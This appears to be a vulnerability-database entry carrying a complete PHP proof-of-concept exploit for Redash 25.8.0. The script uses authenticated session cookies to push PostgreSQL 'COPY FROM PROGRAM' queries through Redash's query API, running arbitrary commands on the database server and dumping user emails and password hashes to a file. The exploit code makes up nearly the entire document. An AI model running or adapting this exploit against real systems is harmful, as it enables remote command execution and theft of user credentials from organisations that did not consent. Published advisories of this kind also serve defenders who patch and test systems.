Lucene search
K

📄 Redash 25.8.0 Password Hash Extraction

🗓️ 18 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 137 Views

Exploits Redash 25.8.0 via PostgreSQL COPY FROM PROGRAM to run commands and steal password hashes.

Code
=============================================================================================================================================
    | # Title     : Redash 25.8.0 Password Hash Extraction                                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://redash.io/                                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform. 
                     The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks:
    				 
    [+] Key Capabilities:
    
    Remote Command Execution (RCE) - Executes arbitrary system commands on the database server using PostgreSQL's COPY FROM PROGRAM functionality
    
    Password Hash Extraction - Extracts password hashes from Redash's internal user authentication table
    
    [+] POC :
    
    <?php
    /*
     * poc.php
     *
     * =Usage=
     
     * php poc.php <url> <cookie_file> [--cmd <command> | --dump]
     
     * Example: php poc.php http://localhost:5000 cookie.txt --cmd "id"
     
     * Example: php poc.php http://localhost:5000 cookie.txt --dump
     */
    
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    
    $GLOBALS['ssl_verify'] = false;
    
    function print_usage($script_name) {
        echo "Usage: php $script_name <url> <cookie_file> [--cmd <command> | --dump]\n\n";
        echo "Examples:\n";
        echo "  php $script_name http://localhost:5000 cookie.txt --cmd 'id'\n";
        echo "  php $script_name $script_name http://localhost:5000 cookie.txt --dump\n\n";
    }
    
    function load_cookies($path) {
        $cookies = [];
        if (!file_exists($path)) {
            die("Error: Cookie file not found: $path\n");
        }
        
        $lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($lines as $line) {
            if (trim($line) === '' || $line[0] === '#') {
                continue;
            }
    
            $parts = explode("\t", $line);
            if (count($parts) >= 7) {
                $cookies[$parts[5]] = $parts[6];
            }
        }
        
        return $cookies;
    }
    
    function normalize_url($url) {
        $url = rtrim($url, '/');
        
        if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
            return $url;
        }
        
        $protocols = ['https://', 'http://'];
        foreach ($protocols as $protocol) {
            $test_url = $protocol . $url;
            $ch = curl_init($test_url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_NOBODY => true,
                CURLOPT_HEADER => true,
                CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
                CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
                CURLOPT_TIMEOUT => 3
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code > 0) {
                return $test_url;
            }
        }
        
        return 'http://' . $url;
    }
    
    function find_api_path($base_url, $cookies) {
        $session = create_session($cookies);
        
        $paths = [
            "/api/query_results",
            "/default/api/query_results",
            "/org/api/query_results",
        ];
        
        foreach ($paths as $path) {
            $url = $base_url . $path;
            try {
                $response = http_post($session, $url, [
                    "query" => "SELECT 1",
                    "data_source_id" => 1,
                    "parameters" => []
                ]);
                
                if ($response['status'] == 200 || $response['status'] == 400) {
                    return $path;
                }
            } catch (Exception $e) {
            }
        }
        
        return $paths[0];
    }
    
    function create_session($cookies) {
        $cookie_string = '';
        foreach ($cookies as $name => $value) {
            $cookie_string .= $name . '=' . $value . '; ';
        }
        
        return [
            'cookies' => rtrim($cookie_string, '; '),
            'headers' => [
                'Content-Type: application/json',
                'Accept: application/json'
            ]
        ];
    }
    
    function http_get($session, $url, $timeout = 15) {
        $ch = curl_init($url);
        
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => $session['headers'],
            CURLOPT_COOKIE => $session['cookies'],
            CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
            CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_FOLLOWLOCATION => true
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error && $http_code == 0) {
            throw new Exception("HTTP request failed: $error");
        }
        
        return [
            'status' => $http_code,
            'body' => $response,
            'json' => json_decode($response, true)
        ];
    }
    
    function http_post($session, $url, $data, $timeout = 30) {
        $ch = curl_init($url);
        
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => json_encode($data),
            CURLOPT_HTTPHEADER => array_merge($session['headers'], ['Content-Type: application/json']),
            CURLOPT_COOKIE => $session['cookies'],
            CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
            CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_FOLLOWLOCATION => true
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error && $http_code == 0) {
            throw new Exception("HTTP request failed: $error");
        }
        
        return [
            'status' => $http_code,
            'body' => $response,
            'json' => json_decode($response, true)
        ];
    }
    
    function execute_rce($base_url, $cookies, $command) {
        $session = create_session($cookies);
        $api_path = find_api_path($base_url, $cookies);
        $endpoint = $base_url . $api_path;
        
        $table = "rce_" . substr(md5($command), 0, 8);
        
        $payload = [
            "query" => "CREATE UNLOGGED TABLE IF NOT EXISTS $table AS SELECT '1' WHERE 1=0; COPY $table FROM PROGRAM '$command'; SELECT * FROM $table",
            "data_source_id" => 1,
            "parameters" => []
        ];
        
        $resp = http_post($session, $endpoint, $payload);
        
        if ($resp['status'] != 200) {
            throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
        }
        
        $result = $resp['json'];
    
        if (isset($result['query_result'])) {
            $rows = $result['query_result']['data']['rows'];
            $output = [];
            foreach ($rows as $row) {
                if (isset($row['?column?'])) {
                    $output[] = $row['?column?'];
                }
            }
            return $output;
        }
    
        $job_id = $result['job']['id'] ?? null;
        if (!$job_id) {
            throw new Exception("Failed to submit query: " . print_r($result, true));
        }
    
        $deadline = time() + 60;
        while (time() < $deadline) {
            $job_url = $base_url . "/api/jobs/$job_id";
            $job_resp = http_get($session, $job_url);
            
            if ($job_resp['status'] != 200) {
                throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
            }
            
            $job = $job_resp['json']['job'] ?? [];
            
            if (($job['status'] ?? 0) == 3) {  // Complete
                $result_id = $job['query_result_id'] ?? null;
                $result_paths = [
                    "/api/query_results/$result_id",
                    "/default/api/query_results/$result_id"
                ];
                
                foreach ($result_paths as $res_path) {
                    try {
                        $url = $base_url . $res_path;
                        $res = http_get($session, $url);
                        if ($res['status'] == 200) {
                            $rows = $res['json']['query_result']['data']['rows'];
                            $output = [];
                            foreach ($rows as $row) {
                                if (isset($row['?column?'])) {
                                    $output[] = $row['?column?'];
                                }
                            }
                            return $output;
                        }
                    } catch (Exception $e) {
                    }
                }
                throw new Exception("Could not fetch query results");
            }
            
            if (($job['status'] ?? 0) == 4) {  // Failed
                throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
            }
            
            usleep(500000); // 0.5 seconds
        }
        
        throw new Exception("Job did not complete");
    }
    
    function extract_password_hashes($base_url, $cookies) {
        $session = create_session($cookies);
        $api_path = find_api_path($base_url, $cookies);
        $endpoint = $base_url . $api_path;
        $payload = [
            "query" => "SELECT email, password_hash FROM users",
            "data_source_id" => 1,
            "parameters" => []
        ];
        
        $resp = http_post($session, $endpoint, $payload);
        
        if ($resp['status'] != 200) {
            throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
        }
        
        $result = $resp['json'];
    
        if (isset($result['query_result'])) {
            $rows = $result['query_result']['data']['rows'];
            $hash_list = [];
            foreach ($rows as $row) {
                $email = $row['email'] ?? '';
                $password_hash = $row['password_hash'] ?? '';
                if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
                    $hash_list[] = [$email, $password_hash];
                }
            }
            return $hash_list;
        }
    
        $job_id = $result['job']['id'] ?? null;
        if (!$job_id) {
            throw new Exception("Failed to submit query: " . print_r($result, true));
        }
    
        $deadline = time() + 60;
        while (time() < $deadline) {
            $job_url = $base_url . "/api/jobs/$job_id";
            $job_resp = http_get($session, $job_url);
            
            if ($job_resp['status'] != 200) {
                throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
            }
            
            $job = $job_resp['json']['job'] ?? [];
            
            if (($job['status'] ?? 0) == 3) {  // Complete
                $result_id = $job['query_result_id'] ?? null;
                $result_paths = [
                    "/api/query_results/$result_id",
                    "/default/api/query_results/$result_id"
                ];
                
                foreach ($result_paths as $res_path) {
                    try {
                        $url = $base_url . $res_path;
                        $res = http_get($session, $url);
                        if ($res['status'] == 200) {
                            $rows = $res['json']['query_result']['data']['rows'];
                            $hash_list = [];
                            foreach ($rows as $row) {
                                $email = $row['email'] ?? '';
                                $password_hash = $row['password_hash'] ?? '';
                                if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
                                    $hash_list[] = [$email, $password_hash];
                                }
                            }
                            return $hash_list;
                        }
                    } catch (Exception $e) {
                    }
                }
                throw new Exception("Could not fetch query results");
            }
            
            if (($job['status'] ?? 0) == 4) {  // Failed
                throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
            }
            
            usleep(500000); // 0.5 seconds
        }
        
        throw new Exception("Job did not complete");
    }
    
    function main($argv) {
        if (count($argv) < 3) {
            print_usage($argv[0]);
            exit(1);
        }
        
        $url = $argv[1];
        $cookie_file = $argv[2];
        $mode = "--dump";
        $command = null;
        
        if (count($argv) > 3) {
            if ($argv[3] == "--cmd") {
                $mode = "--cmd";
                if (count($argv) < 5) {
                    echo "Error: --cmd requires a command argument\n";
                    exit(1);
                }
                $command = $argv[4];
            } elseif ($argv[3] == "--dump") {
                $mode = "--dump";
            } else {
                echo "Error: Unknown option {$argv[3]}\n";
                exit(1);
            }
        }
        
        try {
            $url = normalize_url($url);
            $cookies = load_cookies($cookie_file);
            
            if ($mode == "--cmd") {
                fwrite(STDERR, "[*] Executing command: $command\n\n");
                $output = execute_rce($url, $cookies, $command);
                foreach ($output as $line) {
                    echo $line . "\n";
                }
            } else {  // --dump
                fwrite(STDERR, "[*] Extracting password hashes...\n");
                $hash_list = extract_password_hashes($url, $cookies);
                fwrite(STDERR, "[*] Found " . count($hash_list) . " password hashes\n\n");
                
                if (empty($hash_list)) {
                    fwrite(STDERR, "No password hashes found\n");
                    exit(1);
                }
                $hash_file = fopen('hashes.txt', 'w');
                foreach ($hash_list as $hash_entry) {
                    list($email, $password_hash) = $hash_entry;
                    echo $email . "\n";
                    echo $password_hash . "\n\n";
                    fwrite($hash_file, $password_hash . "\n");
                }
                fclose($hash_file);
                
                fwrite(STDERR, "[*] Hashes written to hashes.txt\n");
            }
        } catch (Exception $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    }
    
    if (php_sapi_name() === 'cli') {
        main($argv);
    } else {
        echo "This script must be run from the command line.\n";
    }
    ?>
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation